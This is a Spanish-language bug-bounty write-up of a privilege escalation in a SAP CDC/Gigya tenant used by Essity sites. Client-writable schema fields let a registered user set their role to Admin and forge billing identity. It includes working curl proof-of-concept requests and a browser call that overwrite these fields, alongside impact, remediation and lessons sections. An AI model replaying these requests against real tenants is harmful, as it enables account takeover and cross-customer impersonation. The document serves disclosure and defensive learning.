Resumen
El tenant de Gigya / SAP CDC que daba servicio a los cuatro sitios de Essity estaba configurado con permisos de escritura incorrectos sobre campos que determinan el rol y la identidad de facturación de cada cuenta.
El esquema completo se devolvía sin autenticación a través de la operación accounts.getSchema, y ahí quedaba a la vista el problema: campos tan sensibles como data.role, data.org.bpid, data.soldTo, data.crmId o data.orgName tenían "writeAccess":"clientModify". Ese valor significa que cualquier usuario autenticado puede escribir esos campos en su propia cuenta directamente desde el navegador, usando la API pública de actualización de cuentas.
El detalle que convierte la mala configuración en una escalada de privilegios real es que dos de esos campos —data.role y el rol por organización data.org.roles.name— son exactamente los que lee el flujo de login de los sitios. El script de login incrustado en cada idioma ejecuta gigya.accounts.getAccountInfo, toma el rol de groups.organizations[0].roles[0] y reenvía el objeto completo de la cuenta (incluidos esos campos editables por el usuario) al backend que decide qué sesión emitir.
Campos críticos con writeAccess clientModify
Entre los campos afectados que podían escribirse desde el cliente estaban:
data.role data.org.bpid data.org.roles.name
data.orgName data.orgEntered.orgName data.orgEntered.duns
data.orgEntered.address.* data.orgEntered.roles.name
data.crmId data.soldTo data.defaultSoldTo
data.unit data.area data.level
data.deactivated data.subscribe data.terms
data.requestedCompanies data.additionalCompany
profile.email profile.firstName profile.lastName
profile.city / state / address / zip / country / work.title
Pasos de reproducción
1. Comprobar el writeAccess (sin autenticación)
El primer paso es verificar sobre el esquema público que los campos críticos son clientModify. La operación accounts.getSchema responde sin credenciales y el siguiente comando filtra los campos relevantes:
curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
-X POST 'https://████████/accounts.getSchema' \
--data-urlencode 'apiKey=████████' \
--data-urlencode 'format=json' \
| python3 -c "
import sys,json
d = json.load(sys.stdin)
critical = ['role','org.bpid','orgName','crmId','soldTo','defaultSoldTo','unit','area','level','deactivated','org.roles.name']
ds = d['dataSchema']['fields']
print('field | writeAccess')
for f in critical:
if f in ds: print(f' {f:25s} | {ds[f][\"writeAccess\"]}')"
La salida confirma que todos esos campos son clientModify:
field | writeAccess
role | clientModify
org.bpid | clientModify
orgName | clientModify
crmId | clientModify
soldTo | clientModify
defaultSoldTo | clientModify
unit | clientModify
area | clientModify
level | clientModify
deactivated | clientModify
org.roles.name | clientModify
2. Prueba de concepto completa: de anónimo a role: Admin
Paso 1 — Iniciar el registro: se obtiene un regToken con accounts.initRegistration.
curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
-X POST 'https://████████/accounts.initRegistration' \
--data-urlencode 'apiKey=████████' \
--data-urlencode 'format=json'
# → regToken: [REDACTADO]
Paso 2 — Registrar la cuenta con un rol normal ("role":"User"):
curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
-X POST 'https://████████/accounts.register' \
--data-urlencode 'apiKey=████████' \
--data-urlencode "regToken=$REGTOK" \
--data-urlencode 'email=████████' \
--data-urlencode 'password=[REDACTADO]' \
--data-urlencode 'profile={"firstName":"H1Research","lastName":"████████-DO-NOT-APPROVE"}' \
--data-urlencode 'data={"role":"User","terms":true,"subscribe":false}' \
--data-urlencode 'finalizeRegistration=true' \
--data-urlencode 'include=data,profile' \
--data-urlencode 'format=json'
# → UID: [REDACTADO], data.role: "User"
Paso 3 — Explotar: sobre esa misma cuenta se sobrescribe el rol a Admin y la identidad de facturación con la API pública de actualización de cuentas. El servidor acepta la escritura y responde sin error:
curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
-X POST 'https://████████/accounts.████████' \
--data-urlencode 'apiKey=████████' \
--data-urlencode "regToken=$REGTOK" \
--data-urlencode 'data={"role":"Admin","soldTo":"9999999991","crmId":"H1████████-CRM","defaultSoldTo":"9999999991","unit":"H1-RESEARCH","area":"H1-RESEARCH","level":"Admin","deactivated":false,"orgName":"H1-████████-DO-NOT-APPROVE-ADMIN"}' \
--data-urlencode 'format=json'
# → {"errorCode":0,"statusCode":200}
Paso 4 — Comprobar que persiste: accounts.getAccountInfo devuelve la cuenta con todos los valores elegidos por el atacante y, además, un JWT firmado (id_token) que afirma la identidad elevada:
curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
-X POST 'https://████████/accounts.getAccountInfo' \
--data-urlencode 'apiKey=████████' \
--data-urlencode "regToken=$REGTOK" \
--data-urlencode 'include=data,profile,groups,emails,id_token' \
--data-urlencode 'format=json'
Respuesta del servidor (abreviada):
{
"errorCode":0,
"UID":"████████",
"data":{
"role":"Admin",
"soldTo":"9999999991",
"defaultSoldTo":"9999999991",
"crmId":"H1████████-CRM",
"orgName":"H1-████████-DO-NOT-APPROVE-ADMIN",
"unit":"H1-RESEARCH",
"area":"H1-RESEARCH",
"level":"Admin",
"deactivated":false
},
"isActive":true,
"isRegistered":true,
"id_token":"[REDACTADO]"
}
3. Por qué el clientModify habilita el ataque
Al estar data.role y los campos relacionados marcados como clientModify, cualquier usuario autenticado puede lanzar una actualización como esta desde el propio navegador:
gigya.accounts.████████({
data: {
role: "Admin",
soldTo: "999999991",
bpid: "999999991_0614_33_03",
orgName: "████████"
}
})
SAP CDC acepta la escritura. Después, el flujo de login lee esos campos modificados por el cliente al llamar a getAccountInfo y los usa para decidir los privilegios de la sesión.
Impacto
Un atacante autenticado puede ascenderse al rol de administrador y suplantar a otras organizaciones en todos los sitios afectados. Impactos concretos descritos en el reporte:
- Toma de control de cuentas B2B / escalada de rol: cualquier usuario registrado puede ascender su
data.rolea "Admin" u otro valor privilegiado que el servidor reconozca, ganando acceso administrativo al portal. - Suplantación entre clientes: falsificando
data.org.bpid,data.soldTo,data.crmIdydata.orgNamese puede suplantar a otras organizaciones y acceder a sus datos de negocio, pedidos e información de precios. - Evasión de la desactivación: fijando
data.deactivated: falseel usuario mantiene su cuenta activa aunque desde el back-office se haya desactivado. - Violación de consentimiento / RGPD: manipular
data.subscribeydata.termspermite saltarse las marcas de consentimiento de marketing manteniendo la cuenta activa. - Manipulación de facturación y territorio de ventas: modificando
data.unit,data.areaydata.levelse puede tergiversar la asignación de territorio y, potencialmente, alterar la lógica de precios, enrutado o colocación de pedidos.
La causa raíz es que la configuración del esquema de SAP CDC permitía la modificación desde el cliente de campos críticos para la autorización, violando el principio de que las decisiones de autorización deben basarse solo en datos controlados por el servidor.
Remediación
Según la documentación de SAP CDC que cita el reporte, los campos usados para autorización deben ser serverOnly o, como mucho, clientRead; tener clientModify sobre data.role figura explícitamente como un antipatrón de configuración en la guía de hardening de SAP. La corrección pasa por retirar el permiso clientModify de todos los campos relevantes para el rol y la facturación.
Qué aprender de este caso
- En tenants de SAP CDC / Gigya, revisa el
writeAccessde cada campo del esquema (accounts.getSchema, que suele responder sin autenticación): cualquier campo que alimente decisiones de autorización —rol, organización, identidad de facturación— debe serserverOnlyoclientRead, nuncaclientModify. - Busca el patrón de confianza en datos editables por el cliente: cuando el flujo de login lee un campo del perfil (aquí
data.roleydata.org.roles.name) para decidir privilegios, comprueba si ese mismo campo puede escribirlo el propio usuario con la API pública de actualización de cuentas. - Desconfía de que un campo como
deactivatedsea escribible por el cliente: si el usuario puede fijarlo afalse, los controles de desactivación del back-office se vuelven inútiles. - Un JWT firmado que afirma una identidad no garantiza que esa identidad sea legítima: aquí el
id_tokeniba firmado por el servidor pero reflejaba valores que había elegido el atacante. Verifica de dónde salen los datos que firmas, no solo la firma.